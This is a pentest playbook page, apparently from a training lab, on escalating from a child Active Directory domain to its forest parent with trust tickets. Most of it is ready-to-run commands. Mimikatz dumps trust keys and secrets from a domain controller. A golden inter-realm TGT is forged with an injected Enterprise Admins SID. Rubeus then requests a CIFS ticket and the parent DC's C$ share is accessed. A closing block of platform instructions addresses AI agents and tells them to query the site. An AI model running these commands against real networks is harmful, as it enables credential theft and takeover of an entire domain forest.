> For the complete documentation index, see [llms.txt](https://playbook.sidthoviti.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://playbook.sidthoviti.com/active-directory-pentest/domain-privilege-escalation/across-trusts/child-to-parent-cross-domain/using-trust-tickets.md).

# Using Trust Tickets

### Child to Parent using Trust Tickets

We will extract the trust key, and then forge an inter-realm TGT where we inject a SID History of Enterprise Admin. 

1. To extract trust tickets, look for \[In] trust key from child to parent.

{% code overflow="wrap" %}

```
Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dcorp-dc
```

{% endcode %}

OR run DCSync to extract 

{% code overflow="wrap" %}

```
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
```

{% endcode %}

OR extract all the secrets from DC

{% code overflow="wrap" %}

```
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
```

{% endcode %}

2. Now, we can forge the inter-realm TGT using the trust key obtained.\
   **Note:** Unless, explicitly specified, across trusts (within or across forests), AES is not supported. RC4 is supported.

{% code overflow="wrap" %}

```
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-719815819-3726368948-3917688648 /sids:S-1-5-21-335606122-960912869-3279953914-519 /rc4:e9ab2e57f6397c19b62476e98e9521ac /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\trust_tkt.kirbi" "exit"
```

{% endcode %}

| Option           | Description                                                               |
| ---------------- | ------------------------------------------------------------------------- |
| Kerberos::golden | The mimikatz module                                                       |
| /domain          | FQDN of the current domain                                                |
| /sid             | SID of the current domain                                                 |
| /sids            | SID of the enterprise admins group of the parent domain                   |
| /rc4             | RC4 of the trust key                                                      |
| /user            | User to impersonate                                                       |
| /service         | Target service in the parent domain                                       |
| /target          | FQDN of the parent domain                                                 |
| /ticket          | Path where the ticket is to be saved (e.g., C:\AD\Tools\trust\_tkt.kirbi) |

3. Now we can request a TGS from parent DC to access a service (CIFS) on DC on the parent root DC.

{% code overflow="wrap" %}

```
Rubeus.exe asktgs /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi /service:cifs/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```

{% endcode %}

4. We can now access forest root DC.

{% code overflow="wrap" %}

```
ls \\mcorp-dc.moneycorp.local\c$
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://playbook.sidthoviti.com/active-directory-pentest/domain-privilege-escalation/across-trusts/child-to-parent-cross-domain/using-trust-tickets.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.